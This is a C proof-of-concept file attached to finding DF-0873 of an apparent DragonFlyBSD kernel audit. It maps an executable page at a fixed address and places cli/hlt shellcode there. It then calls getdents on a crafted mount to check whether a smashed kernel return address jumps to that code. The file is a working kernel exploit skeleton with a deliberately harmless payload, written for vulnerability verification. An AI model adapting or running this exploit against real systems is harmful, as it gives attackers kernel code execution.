DragonFlyBSD Kernel Audit
DF-0873 / diag_halt.c
← back to finding ↓ download raw
/* DF-0873 diagnostic: shellcode = cli; hlt loop.  If guest FREEZES (not
 * resets), the smashed ret reached our page.  If it resets, the problem is
 * earlier (page not exec, or ret addr wrong). */
#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

#define SHELLCODE_ADDR  0x0000000001337000ULL

__attribute__((noinline, aligned(4096)))
static void shellcode(void)
{
    __asm__ volatile(
        "cli\n\t"
        "1: hlt\n\t"
        "jmp 1b\n\t"
        :::);
}
__attribute__((noinline, aligned(4096)))
static void shellcode_end(void) { }

#define SYS_getdents 480
int main(int argc, char **argv)
{
    const char *mp = (argc > 1) ? argv[1] : "/mnt/evil";
    size_t sc_len = (size_t)((char *)shellcode_end - (char *)shellcode);
    void *p = mmap((void *)SHELLCODE_ADDR, 0x1000,
                   PROT_READ | PROT_WRITE | PROT_EXEC,
                   MAP_PRIVATE | MAP_ANON | MAP_FIXED, -1, 0);
    if (p == MAP_FAILED) { perror("mmap"); return 2; }
    memcpy(p, (void *)shellcode, sc_len);
    fprintf(stderr, "[diag] shellcode(%zu bytes) at %p\n", sc_len, p);
    int fd = open(mp, O_RDONLY | O_DIRECTORY);
    if (fd < 0) { perror("open"); return 2; }
    fprintf(stderr, "[diag] getdents -> ret should hit cli;hlt loop (freeze)\n");
    char buf[64];
    ssize_t n = syscall(SYS_getdents, fd, buf, sizeof(buf));
    fprintf(stderr, "[diag] getdents returned %zd (ret NOT hijacked)\n", n);
    return 0;
}